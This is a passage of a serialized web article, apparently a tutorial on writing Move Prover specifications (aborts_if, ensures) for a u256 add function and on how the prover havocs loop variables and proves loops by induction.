P64\n",{"type":24,"tag":327,"props":17415,"children":17416},{"class":329,"line":529},[17417],{"type":24,"tag":327,"props":17418,"children":17419},{"style":346},[17420],{"type":29,"value":592},{"type":24,"tag":327,"props":17422,"children":17423},{"class":329,"line":538},[17424],{"type":24,"tag":327,"props":17425,"children":17426},{"emptyLinePlaceholder":16},[17427],{"type":29,"value":544},{"type":24,"tag":327,"props":17429,"children":17430},{"class":329,"line":547},[17431,17435,17439],{"type":24,"tag":327,"props":17432,"children":17433},{"style":356},[17434],{"type":29,"value":15835},{"type":24,"tag":327,"props":17436,"children":17437},{"style":356},[17438],{"type":29,"value":17132},{"type":24,"tag":327,"props":17440,"children":17441},{"style":346},[17442],{"type":29,"value":497},{"type":24,"tag":327,"props":17444,"children":17445},{"class":329,"line":557},[17446,17451,17455,17459,17463,17467,17471,17475,17479,17483,17487,17491,17495,17499,17503,17507,17511,17515,17519],{"type":24,"tag":327,"props":17447,"children":17448},{"style":356},[17449],{"type":29,"value":17450},"    aborts_if",{"type":24,"tag":327,"props":17452,"children":17453},{"style":340},[17454],{"type":29,"value":17251},{"type":24,"tag":327,"props":17456,"children":17457},{"style":346},[17458],{"type":29,"value":349},{"type":24,"tag":327,"props":17460,"children":17461},{"style":356},[17462],{"type":29,"value":57},{"type":24,"tag":327,"props":17464,"children":17465},{"style":346},[17466],{"type":29,"value":1674},{"type":24,"tag":327,"props":17468,"children":17469},{"style":381},[17470],{"type":29,"value":394},{"type":24,"tag":327,"props":17472,"children":17473},{"style":340},[17474],{"type":29,"value":17251},{"type":24,"tag":327,"props":17476,"children":17477},{"style":346},[17478],{"type":29,"value":349},{"type":24,"tag":327,"props":17480,"children":17481},{"style":356},[17482],{"type":29,"value":10828},{"type":24,"tag":327,"props":17484,"children":17485},{"style":346},[17486],{"type":29,"value":1674},{"type":24,"tag":327,"props":17488,"children":17489},{"style":381},[17490],{"type":29,"value":2166},{"type":24,"tag":327,"props":17492,"children":17493},{"style":1639},[17494],{"type":29,"value":17207},{"type":24,"tag":327,"props":17496,"children":17497},{"style":381},[17498],{"type":29,"value":17364},{"type":24,"tag":327,"props":17500,"children":17501},{"style":1639},[17502],{"type":29,"value":17207},{"type":24,"tag":327,"props":17504,"children":17505},{"style":381},[17506],{"type":29,"value":17364},{"type":24,"tag":327,"props":17508,"children":17509},{"style":1639},[17510],{"type":29,"value":17207},{"type":24,"tag":327,"props":17512,"children":17513},{"style":381},[17514],{"type":29,"value":17364},{"type":24,"tag":327,"props":17516,"children":17517},{"style":1639},[17518],{"type":29,"value":17207},{"type":24,"tag":327,"props":17520,"children":17521},{"style":346},[17522],{"type":29,"value":405},{"type":24,"tag":327,"props":17524,"children":17525},{"class":329,"line":586},[17526],{"type":24,"tag":327,"props":17527,"children":17528},{"style":346},[17529],{"type":29,"value":592},{"type":24,"tag":25,"props":17531,"children":17532},{},[17533,17535,17542],{"type":29,"value":17534},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":57,"props":17536,"children":17539},{"href":17537,"rel":17538},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[61],[17540],{"type":29,"value":17541},"MSL function",{"type":29,"value":17543},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":25,"props":17545,"children":17546},{},[17547,17549,17554,17555,17560],{"type":29,"value":17548},"A common pattern for ",{"type":24,"tag":284,"props":17550,"children":17552},{"className":17551},[],[17553],{"type":29,"value":15885},{"type":29,"value":13069},{"type":24,"tag":284,"props":17556,"children":17558},{"className":17557},[],[17559],{"type":29,"value":15893},{"type":29,"value":17561},", which lets you prove that a function will never abort.",{"type":24,"tag":317,"props":17563,"children":17565},{"code":17564,"language":1552,"meta":7,"className":1553,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[17566],{"type":24,"tag":284,"props":17567,"children":17568},{"__ignoreMap":7},[17569,17585,17600],{"type":24,"tag":327,"props":17570,"children":17571},{"class":329,"line":330},[17572,17576,17581],{"type":24,"tag":327,"props":17573,"children":17574},{"style":356},[17575],{"type":29,"value":15835},{"type":24,"tag":327,"props":17577,"children":17578},{"style":356},[17579],{"type":29,"value":17580}," critical_function",{"type":24,"tag":327,"props":17582,"children":17583},{"style":346},[17584],{"type":29,"value":497},{"type":24,"tag":327,"props":17586,"children":17587},{"class":329,"line":367},[17588,17592,17596],{"type":24,"tag":327,"props":17589,"children":17590},{"style":356},[17591],{"type":29,"value":17450},{"type":24,"tag":327,"props":17593,"children":17594},{"style":334},[17595],{"type":29,"value":6776},{"type":24,"tag":327,"props":17597,"children":17598},{"style":346},[17599],{"type":29,"value":405},{"type":24,"tag":327,"props":17601,"children":17602},{"class":329,"line":408},[17603],{"type":24,"tag":327,"props":17604,"children":17605},{"style":346},[17606],{"type":29,"value":592},{"type":24,"tag":25,"props":17608,"children":17609},{},[17610,17612,17618],{"type":29,"value":17611},"Another type of expression that we can use is ",{"type":24,"tag":284,"props":17613,"children":17615},{"className":17614},[],[17616],{"type":29,"value":17617},"ensures",{"type":29,"value":17619},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":25,"props":17621,"children":17622},{},[17623,17625,17630,17632,17637],{"type":29,"value":17624},"In the case of the ",{"type":24,"tag":284,"props":17626,"children":17628},{"className":17627},[],[17629],{"type":29,"value":280},{"type":29,"value":17631}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":188,"props":17633,"children":17634},{},[17635],{"type":29,"value":17636},"MSL uses unbounded numbers",{"type":29,"value":17638},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":317,"props":17640,"children":17642},{"code":17641,"language":1552,"meta":7,"className":1553,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[17643],{"type":24,"tag":284,"props":17644,"children":17645},{"__ignoreMap":7},[17646,17661,17740,17804],{"type":24,"tag":327,"props":17647,"children":17648},{"class":329,"line":330},[17649,17653,17657],{"type":24,"tag":327,"props":17650,"children":17651},{"style":356},[17652],{"type":29,"value":15835},{"type":24,"tag":327,"props":17654,"children":17655},{"style":356},[17656],{"type":29,"value":17132},{"type":24,"tag":327,"props":17658,"children":17659},{"style":346},[17660],{"type":29,"value":497},{"type":24,"tag":327,"props":17662,"children":17663},{"class":329,"line":367},[17664,17668,17672,17676,17680,17684,17688,17692,17696,17700,17704,17708,17712,17716,17720,17724,17728,17732,17736],{"type":24,"tag":327,"props":17665,"children":17666},{"style":356},[17667],{"type":29,"value":17450},{"type":24,"tag":327,"props":17669,"children":17670},{"style":340},[17671],{"type":29,"value":17251},{"type":24,"tag":327,"props":17673,"children":17674},{"style":346},[17675],{"type":29,"value":349},{"type":24,"tag":327,"props":17677,"children":17678},{"style":356},[17679],{"type":29,"value":57},{"type":24,"tag":327,"props":17681,"children":17682},{"style":346},[17683],{"type":29,"value":1674},{"type":24,"tag":327,"props":17685,"children":17686},{"style":381},[17687],{"type":29,"value":394},{"type":24,"tag":327,"props":17689,"children":17690},{"style":340},[17691],{"type":29,"value":17251},{"type":24,"tag":327,"props":17693,"children":17694},{"style":346},[17695],{"type":29,"value":349},{"type":24,"tag":327,"props":17697,"children":17698},{"style":356},[17699],{"type":29,"value":10828},{"type":24,"tag":327,"props":17701,"children":17702},{"style":346},[17703],{"type":29,"value":1674},{"type":24,"tag":327,"props":17705,"children":17706},{"style":381},[17707],{"type":29,"value":2166},{"type":24,"tag":327,"props":17709,"children":17710},{"style":1639},[17711],{"type":29,"value":17207},{"type":24,"tag":327,"props":17713,"children":17714},{"style":381},[17715],{"type":29,"value":17364},{"type":24,"tag":327,"props":17717,"children":17718},{"style":1639},[17719],{"type":29,"value":17207},{"type":24,"tag":327,"props":17721,"children":17722},{"style":381},[17723],{"type":29,"value":17364},{"type":24,"tag":327,"props":17725,"children":17726},{"style":1639},[17727],{"type":29,"value":17207},{"type":24,"tag":327,"props":17729,"children":17730},{"style":381},[17731],{"type":29,"value":17364},{"type":24,"tag":327,"props":17733,"children":17734},{"style":1639},[17735],{"type":29,"value":17207},{"type":24,"tag":327,"props":17737,"children":17738},{"style":346},[17739],{"type":29,"value":405},{"type":24,"tag":327,"props":17741,"children":17742},{"class":329,"line":408},[17743,17748,17752,17756,17760,17764,17768,17772,17776,17780,17784,17788,17792,17796,17800],{"type":24,"tag":327,"props":17744,"children":17745},{"style":356},[17746],{"type":29,"value":17747},"    ensures",{"type":24,"tag":327,"props":17749,"children":17750},{"style":340},[17751],{"type":29,"value":17251},{"type":24,"tag":327,"props":17753,"children":17754},{"style":346},[17755],{"type":29,"value":349},{"type":24,"tag":327,"props":17757,"children":17758},{"style":356},[17759],{"type":29,"value":16637},{"type":24,"tag":327,"props":17761,"children":17762},{"style":346},[17763],{"type":29,"value":1674},{"type":24,"tag":327,"props":17765,"children":17766},{"style":381},[17767],{"type":29,"value":642},{"type":24,"tag":327,"props":17769,"children":17770},{"style":340},[17771],{"type":29,"value":17251},{"type":24,"tag":327,"props":17773,"children":17774},{"style":346},[17775],{"type":29,"value":349},{"type":24,"tag":327,"props":17777,"children":17778},{"style":356},[17779],{"type":29,"value":57},{"type":24,"tag":327,"props":17781,"children":17782},{"style":346},[17783],{"type":29,"value":1674},{"type":24,"tag":327,"props":17785,"children":17786},{"style":381},[17787],{"type":29,"value":394},{"type":24,"tag":327,"props":17789,"children":17790},{"style":340},[17791],{"type":29,"value":17251},{"type":24,"tag":327,"props":17793,"children":17794},{"style":346},[17795],{"type":29,"value":349},{"type":24,"tag":327,"props":17797,"children":17798},{"style":356},[17799],{"type":29,"value":10828},{"type":24,"tag":327,"props":17801,"children":17802},{"style":346},[17803],{"type":29,"value":583},{"type":24,"tag":327,"props":17805,"children":17806},{"class":329,"line":421},[17807],{"type":24,"tag":327,"props":17808,"children":17809},{"style":346},[17810],{"type":29,"value":592},{"type":24,"tag":25,"props":17812,"children":17813},{},[17814],{"type":29,"value":17815},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":25,"props":17817,"children":17818},{},[17819],{"type":29,"value":17820},"Let's try to prove the library with the specifications from above:",{"type":24,"tag":317,"props":17822,"children":17824},{"code":17823,"language":11814,"meta":7,"className":11815,"style":7},"$ move prove\n",[17825],{"type":24,"tag":284,"props":17826,"children":17827},{"__ignoreMap":7},[17828],{"type":24,"tag":327,"props":17829,"children":17830},{"class":329,"line":330},[17831,17836,17841],{"type":24,"tag":327,"props":17832,"children":17833},{"style":340},[17834],{"type":29,"value":17835},"$",{"type":24,"tag":327,"props":17837,"children":17838},{"style":844},[17839],{"type":29,"value":17840}," move",{"type":24,"tag":327,"props":17842,"children":17843},{"style":844},[17844],{"type":29,"value":17845}," prove\n",{"type":24,"tag":25,"props":17847,"children":17848},{},[17849],{"type":29,"value":17850},"It outputs the following error information:",{"type":24,"tag":317,"props":17852,"children":17854},{"code":17853,"language":11814,"meta":7,"className":11815,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[17855],{"type":24,"tag":284,"props":17856,"children":17857},{"__ignoreMap":7},[17858,17866,17873,17935,17956,18045,18113,18125,18133,18140,18147,18154,18172,18233,18250,18267,18339,18355,18363,18370,18420,18428,18445],{"type":24,"tag":327,"props":17859,"children":17860},{"class":329,"line":330},[17861],{"type":24,"tag":327,"props":17862,"children":17863},{"style":346},[17864],{"type":29,"value":17865},"[...]\n",{"type":24,"tag":327,"props":17867,"children":17868},{"class":329,"line":367},[17869],{"type":24,"tag":327,"props":17870,"children":17871},{"emptyLinePlaceholder":16},[17872],{"type":29,"value":544},{"type":24,"tag":327,"props":17874,"children":17875},{"class":329,"line":408},[17876,17881,17886,17891,17896,17901,17906,17911,17916,17921,17925,17930],{"type":24,"tag":327,"props":17877,"children":17878},{"style":340},[17879],{"type":29,"value":17880},"error:",{"type":24,"tag":327,"props":17882,"children":17883},{"style":844},[17884],{"type":29,"value":17885}," abort",{"type":24,"tag":327,"props":17887,"children":17888},{"style":844},[17889],{"type":29,"value":17890}," not",{"type":24,"tag":327,"props":17892,"children":17893},{"style":844},[17894],{"type":29,"value":17895}," covered",{"type":24,"tag":327,"props":17897,"children":17898},{"style":844},[17899],{"type":29,"value":17900}," by",{"type":24,"tag":327,"props":17902,"children":17903},{"style":844},[17904],{"type":29,"value":17905}," any",{"type":24,"tag":327,"props":17907,"children":17908},{"style":844},[17909],{"type":29,"value":17910}," of",{"type":24,"tag":327,"props":17912,"children":17913},{"style":844},[17914],{"type":29,"value":17915}," the",{"type":24,"tag":327,"props":17917,"children":17918},{"style":844},[17919],{"type":29,"value":17920}," `",{"type":24,"tag":327,"props":17922,"children":17923},{"style":340},[17924],{"type":29,"value":15885},{"type":24,"tag":327,"props":17926,"children":17927},{"style":844},[17928],{"type":29,"value":17929},"`",{"type":24,"tag":327,"props":17931,"children":17932},{"style":340},[17933],{"type":29,"value":17934}," clauses\n",{"type":24,"tag":327,"props":17936,"children":17937},{"class":329,"line":421},[17938,17943,17948,17952],{"type":24,"tag":327,"props":17939,"children":17940},{"style":340},[17941],{"type":29,"value":17942},"╭",{"type":24,"tag":327,"props":17944,"children":17945},{"style":844},[17946],{"type":29,"value":17947},"     spec",{"type":24,"tag":327,"props":17949,"children":17950},{"style":844},[17951],{"type":29,"value":17132},{"type":24,"tag":327,"props":17953,"children":17954},{"style":844},[17955],{"type":29,"value":497},{"type":24,"tag":327,"props":17957,"children":17958},{"class":329,"line":450},[17959,17964,17969,17973,17977,17981,17985,17989,17993,17997,18001,18005,18009,18013,18017,18021,18025,18029,18033,18037,18041],{"type":24,"tag":327,"props":17960,"children":17961},{"style":381},[17962],{"type":29,"value":17963},"|",{"type":24,"tag":327,"props":17965,"children":17966},{"style":340},[17967],{"type":29,"value":17968},"         aborts_if",{"type":24,"tag":327,"props":17970,"children":17971},{"style":844},[17972],{"type":29,"value":17251},{"type":24,"tag":327,"props":17974,"children":17975},{"style":346},[17976],{"type":29,"value":349},{"type":24,"tag":327,"props":17978,"children":17979},{"style":340},[17980],{"type":29,"value":57},{"type":24,"tag":327,"props":17982,"children":17983},{"style":346},[17984],{"type":29,"value":1674},{"type":24,"tag":327,"props":17986,"children":17987},{"style":844},[17988],{"type":29,"value":394},{"type":24,"tag":327,"props":17990,"children":17991},{"style":844},[17992],{"type":29,"value":17251},{"type":24,"tag":327,"props":17994,"children":17995},{"style":346},[17996],{"type":29,"value":349},{"type":24,"tag":327,"props":17998,"children":17999},{"style":340},[18000],{"type":29,"value":10828},{"type":24,"tag":327,"props":18002,"children":18003},{"style":346},[18004],{"type":29,"value":1674},{"type":24,"tag":327,"props":18006,"children":18007},{"style":381},[18008],{"type":29,"value":438},{"type":24,"tag":327,"props":18010,"children":18011},{"style":844},[18012],{"type":29,"value":384},{"type":24,"tag":327,"props":18014,"children":18015},{"style":844},[18016],{"type":29,"value":17207},{"type":24,"tag":327,"props":18018,"children":18019},{"style":334},[18020],{"type":29,"value":17364},{"type":24,"tag":327,"props":18022,"children":18023},{"style":844},[18024],{"type":29,"value":17207},{"type":24,"tag":327,"props":18026,"children":18027},{"style":334},[18028],{"type":29,"value":17364},{"type":24,"tag":327,"props":18030,"children":18031},{"style":844},[18032],{"type":29,"value":17207},{"type":24,"tag":327,"props":18034,"children":18035},{"style":334},[18036],{"type":29,"value":17364},{"type":24,"tag":327,"props":18038,"children":18039},{"style":844},[18040],{"type":29,"value":17207},{"type":24,"tag":327,"props":18042,"children":18043},{"style":346},[18044],{"type":29,"value":405},{"type":24,"tag":327,"props":18046,"children":18047},{"class":329,"line":481},[18048,18052,18057,18061,18065,18069,18073,18077,18081,18085,18089,18093,18097,18101,18105,18109],{"type":24,"tag":327,"props":18049,"children":18050},{"style":381},[18051],{"type":29,"value":17963},{"type":24,"tag":327,"props":18053,"children":18054},{"style":340},[18055],{"type":29,"value":18056},"         ensures",{"type":24,"tag":327,"props":18058,"children":18059},{"style":844},[18060],{"type":29,"value":17251},{"type":24,"tag":327,"props":18062,"children":18063},{"style":346},[18064],{"type":29,"value":349},{"type":24,"tag":327,"props":18066,"children":18067},{"style":340},[18068],{"type":29,"value":16637},{"type":24,"tag":327,"props":18070,"children":18071},{"style":346},[18072],{"type":29,"value":1674},{"type":24,"tag":327,"props":18074,"children":18075},{"style":844},[18076],{"type":29,"value":642},{"type":24,"tag":327,"props":18078,"children":18079},{"style":844},[18080],{"type":29,"value":17251},{"type":24,"tag":327,"props":18082,"children":18083},{"style":346},[18084],{"type":29,"value":349},{"type":24,"tag":327,"props":18086,"children":18087},{"style":340},[18088],{"type":29,"value":57},{"type":24,"tag":327,"props":18090,"children":18091},{"style":346},[18092],{"type":29,"value":1674},{"type":24,"tag":327,"props":18094,"children":18095},{"style":844},[18096],{"type":29,"value":394},{"type":24,"tag":327,"props":18098,"children":18099},{"style":844},[18100],{"type":29,"value":17251},{"type":24,"tag":327,"props":18102,"children":18103},{"style":346},[18104],{"type":29,"value":349},{"type":24,"tag":327,"props":18106,"children":18107},{"style":340},[18108],{"type":29,"value":10828},{"type":24,"tag":327,"props":18110,"children":18111},{"style":346},[18112],{"type":29,"value":583},{"type":24,"tag":327,"props":18114,"children":18115},{"class":329,"line":500},[18116,18120],{"type":24,"tag":327,"props":18117,"children":18118},{"style":381},[18119],{"type":29,"value":17963},{"type":24,"tag":327,"props":18121,"children":18122},{"style":346},[18123],{"type":29,"value":18124},"     }\n",{"type":24,"tag":327,"props":18126,"children":18127},{"class":329,"line":529},[18128],{"type":24,"tag":327,"props":18129,"children":18130},{"style":340},[18131],{"type":29,"value":18132},"╰─────^\n",{"type":24,"tag":327,"props":18134,"children":18135},{"class":329,"line":538},[18136],{"type":24,"tag":327,"props":18137,"children":18138},{"emptyLinePlaceholder":16},[18139],{"type":29,"value":544},{"type":24,"tag":327,"props":18141,"children":18142},{"class":329,"line":547},[18143],{"type":24,"tag":327,"props":18144,"children":18145},{"style":346},[18146],{"type":29,"value":17865},{"type":24,"tag":327,"props":18148,"children":18149},{"class":329,"line":557},[18150],{"type":24,"tag":327,"props":18151,"children":18152},{"emptyLinePlaceholder":16},[18153],{"type":29,"value":544},{"type":24,"tag":327,"props":18155,"children":18156},{"class":329,"line":586},[18157,18162,18167],{"type":24,"tag":327,"props":18158,"children":18159},{"style":340},[18160],{"type":29,"value":18161}," at",{"type":24,"tag":327,"props":18163,"children":18164},{"style":844},[18165],{"type":29,"value":18166}," ./sources/u256.move:316:",{"type":24,"tag":327,"props":18168,"children":18169},{"style":844},[18170],{"type":29,"value":18171}," add\n",{"type":24,"tag":327,"props":18173,"children":18174},{"class":329,"line":1017},[18175,18180,18185,18190,18194,18199,18203,18208,18213,18218,18223,18228],{"type":24,"tag":327,"props":18176,"children":18177},{"style":340},[18178],{"type":29,"value":18179}," enter",{"type":24,"tag":327,"props":18181,"children":18182},{"style":844},[18183],{"type":29,"value":18184}," loop,",{"type":24,"tag":327,"props":18186,"children":18187},{"style":844},[18188],{"type":29,"value":18189}," variable",{"type":24,"tag":327,"props":18191,"children":18192},{"style":346},[18193],{"type":29,"value":349},{"type":24,"tag":327,"props":18195,"children":18196},{"style":340},[18197],{"type":29,"value":18198},"s",{"type":24,"tag":327,"props":18200,"children":18201},{"style":346},[18202],{"type":29,"value":1674},{"type":24,"tag":327,"props":18204,"children":18205},{"style":844},[18206],{"type":29,"value":18207},"carry,",{"type":24,"tag":327,"props":18209,"children":18210},{"style":844},[18211],{"type":29,"value":18212}," i,",{"type":24,"tag":327,"props":18214,"children":18215},{"style":844},[18216],{"type":29,"value":18217}," ret",{"type":24,"tag":327,"props":18219,"children":18220},{"style":844},[18221],{"type":29,"value":18222}," havocked",{"type":24,"tag":327,"props":18224,"children":18225},{"style":844},[18226],{"type":29,"value":18227}," and",{"type":24,"tag":327,"props":18229,"children":18230},{"style":844},[18231],{"type":29,"value":18232}," reassigned\n",{"type":24,"tag":327,"props":18234,"children":18235},{"class":329,"line":1026},[18236,18241,18245],{"type":24,"tag":327,"props":18237,"children":18238},{"style":340},[18239],{"type":29,"value":18240},"     carry",{"type":24,"tag":327,"props":18242,"children":18243},{"style":844},[18244],{"type":29,"value":4809},{"type":24,"tag":327,"props":18246,"children":18247},{"style":397},[18248],{"type":29,"value":18249}," 54\n",{"type":24,"tag":327,"props":18251,"children":18252},{"class":329,"line":1048},[18253,18258,18262],{"type":24,"tag":327,"props":18254,"children":18255},{"style":340},[18256],{"type":29,"value":18257},"     i",{"type":24,"tag":327,"props":18259,"children":18260},{"style":844},[18261],{"type":29,"value":4809},{"type":24,"tag":327,"props":18263,"children":18264},{"style":397},[18265],{"type":29,"value":18266}," 3792\n",{"type":24,"tag":327,"props":18268,"children":18269},{"class":329,"line":1067},[18270,18275,18279,18284,18288,18293,18298,18302,18307,18312,18316,18321,18326,18330,18335],{"type":24,"tag":327,"props":18271,"children":18272},{"style":340},[18273],{"type":29,"value":18274},"     ret",{"type":24,"tag":327,"props":18276,"children":18277},{"style":844},[18278],{"type":29,"value":4809},{"type":24,"tag":327,"props":18280,"children":18281},{"style":844},[18282],{"type":29,"value":18283}," u256.U256{v0",{"type":24,"tag":327,"props":18285,"children":18286},{"style":844},[18287],{"type":29,"value":4809},{"type":24,"tag":327,"props":18289,"children":18290},{"style":844},[18291],{"type":29,"value":18292}," 26418,",{"type":24,"tag":327,"props":18294,"children":18295},{"style":844},[18296],{"type":29,"value":18297}," v1",{"type":24,"tag":327,"props":18299,"children":18300},{"style":844},[18301],{"type":29,"value":4809},{"type":24,"tag":327,"props":18303,"children":18304},{"style":844},[18305],{"type":29,"value":18306}," 27938,",{"type":24,"tag":327,"props":18308,"children":18309},{"style":844},[18310],{"type":29,"value":18311}," v2",{"type":24,"tag":327,"props":18313,"children":18314},{"style":844},[18315],{"type":29,"value":4809},{"type":24,"tag":327,"props":18317,"children":18318},{"style":844},[18319],{"type":29,"value":18320}," 6900,",{"type":24,"tag":327,"props":18322,"children":18323},{"style":844},[18324],{"type":29,"value":18325}," v3",{"type":24,"tag":327,"props":18327,"children":18328},{"style":844},[18329],{"type":29,"value":4809},{"type":24,"tag":327,"props":18331,"children":18332},{"style":397},[18333],{"type":29,"value":18334}," 1999",{"type":24,"tag":327,"props":18336,"children":18337},{"style":844},[18338],{"type":29,"value":592},{"type":24,"tag":327,"props":18340,"children":18341},{"class":329,"line":1075},[18342,18346,18351],{"type":24,"tag":327,"props":18343,"children":18344},{"style":340},[18345],{"type":29,"value":18161},{"type":24,"tag":327,"props":18347,"children":18348},{"style":844},[18349],{"type":29,"value":18350}," ./sources/u256.move:346:",{"type":24,"tag":327,"props":18352,"children":18353},{"style":844},[18354],{"type":29,"value":18171},{"type":24,"tag":327,"props":18356,"children":18357},{"class":329,"line":1084},[18358],{"type":24,"tag":327,"props":18359,"children":18360},{"style":340},[18361],{"type":29,"value":18362},"     ABORTED\n",{"type":24,"tag":327,"props":18364,"children":18365},{"class":329,"line":1100},[18366],{"type":24,"tag":327,"props":18367,"children":18368},{"emptyLinePlaceholder":16},[18369],{"type":29,"value":544},{"type":24,"tag":327,"props":18371,"children":18372},{"class":329,"line":1128},[18373,18378,18383,18387,18392,18397,18402,18406,18411,18415],{"type":24,"tag":327,"props":18374,"children":18375},{"style":340},[18376],{"type":29,"value":18377},"FAILURE",{"type":24,"tag":327,"props":18379,"children":18380},{"style":844},[18381],{"type":29,"value":18382}," proving",{"type":24,"tag":327,"props":18384,"children":18385},{"style":397},[18386],{"type":29,"value":522},{"type":24,"tag":327,"props":18388,"children":18389},{"style":844},[18390],{"type":29,"value":18391}," modules",{"type":24,"tag":327,"props":18393,"children":18394},{"style":844},[18395],{"type":29,"value":18396}," from",{"type":24,"tag":327,"props":18398,"children":18399},{"style":844},[18400],{"type":29,"value":18401}," package",{"type":24,"tag":327,"props":18403,"children":18404},{"style":844},[18405],{"type":29,"value":17920},{"type":24,"tag":327,"props":18407,"children":18408},{"style":340},[18409],{"type":29,"value":18410},"u256",{"type":24,"tag":327,"props":18412,"children":18413},{"style":844},[18414],{"type":29,"value":17929},{"type":24,"tag":327,"props":18416,"children":18417},{"style":346},[18418],{"type":29,"value":18419}," in 9.143s\n",{"type":24,"tag":327,"props":18421,"children":18422},{"class":329,"line":1148},[18423],{"type":24,"tag":327,"props":18424,"children":18425},{"style":346},[18426],{"type":29,"value":18427},"{\n",{"type":24,"tag":327,"props":18429,"children":18430},{"class":329,"line":1176},[18431,18436,18440],{"type":24,"tag":327,"props":18432,"children":18433},{"style":340},[18434],{"type":29,"value":18435},"    \"Error\"",{"type":24,"tag":327,"props":18437,"children":18438},{"style":340},[18439],{"type":29,"value":1636},{"type":24,"tag":327,"props":18441,"children":18442},{"style":844},[18443],{"type":29,"value":18444}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":327,"props":18446,"children":18447},{"class":329,"line":1184},[18448],{"type":24,"tag":327,"props":18449,"children":18450},{"style":346},[18451],{"type":29,"value":592},{"type":24,"tag":25,"props":18453,"children":18454},{},[18455,18457,18462],{"type":29,"value":18456},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":284,"props":18458,"children":18460},{"className":18459},[],[18461],{"type":29,"value":15885},{"type":29,"value":18463}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":25,"props":18465,"children":18466},{},[18467,18469,18475],{"type":29,"value":18468},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":284,"props":18470,"children":18472},{"className":18471},[],[18473],{"type":29,"value":18474},"ret havocked and reassigned",{"type":29,"value":66},{"type":24,"tag":25,"props":18477,"children":18478},{},[18479],{"type":29,"value":18480},"What does this mean?",{"type":24,"tag":25,"props":18482,"children":18483},{},[18484,18486,18493],{"type":29,"value":18485},"By diving into the Move Prover source, we find a ",{"type":24,"tag":57,"props":18487,"children":18490},{"href":18488,"rel":18489},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[61],[18491],{"type":29,"value":18492},"likely suspect",{"type":29,"value":18494},". The prover attempts to prove all loops with induction!",{"type":24,"tag":25,"props":18496,"children":18497},{},[18498],{"type":29,"value":18499},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":175,"props":18501,"children":18502},{},[18503,18508],{"type":24,"tag":179,"props":18504,"children":18505},{},[18506],{"type":29,"value":18507},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":179,"props":18509,"children":18510},{},[18511],{"type":29,"value":18512},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":25,"props":18514,"children":18515},{},[18516,18518,18523,18525,18531,18532,18538,18539,18544,18546,18551],{"type":29,"value":18517},"The loop prover will also ",{"type":24,"tag":188,"props":18519,"children":18520},{},[18521],{"type":29,"value":18522},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":18524},". Going back to the log message, this implies that the variables ",{"type":24,"tag":284,"props":18526,"children":18528},{"className":18527},[],[18529],{"type":29,"value":18530},"carry",{"type":29,"value":2744},{"type":24,"tag":284,"props":18533,"children":18535},{"className":18534},[],[18536],{"type":29,"value":18537},"ret",{"type":29,"value":1323},{"type":24,"tag":284,"props":18540,"children":18542},{"className":18541},[],[18543],{"type":29,"value":11334},{"type":29,"value":18545}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":284,"props":18547,"children":18549},{"className":18548},[],[18550],{"type":29,"value":280},{"type":29,"value":18552}," makes no sense.",{"type":24,"tag":25,"props":18554,"children":18555},{},[18556],{"type":29,"value":18557},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":175,"props":18559,"children":18560},{},[18561,18566,18571,18576,18581,18586],{"type":24,"tag":179,"props":18562,"children":18563},{},[18564],{"type":29,"value":18565},"Assert the loop invariant",{"type":24,"tag":179,"props":18567,"children":18568},{},[18569],{"type":29,"value":18570},"Havoc all modified variables",{"type":24,"tag":179,"props":18572,"children":18573},{},[18574],{"type":29,"value":18575},"Assume the loop invariant",{"type":24,"tag":179,"props":18577,"children":18578},{},[18579],{"type":29,"value":18580},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":179,"props":18582,"children":18583},{},[18584],{"type":29,"value":18585},"Run the loop body",{"type":24,"tag":179,"props":18587,"children":18588},{},[18589],{"type":29,"value":18565},{"type":24,"tag":25,"props":18591,"children":18592},{},[18593],{"type":29,"value":18594},"There are two approaches to dealing with loops.",{"type":24,"tag":25,"props":18596,"children":18597},{},[18598],{"type":29,"value":18599},"The first would be to specify a loop invariant.",{"type":24,"tag":25,"props":18601,"children":18602},{},[18603,18605,18612],{"type":29,"value":18604},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our 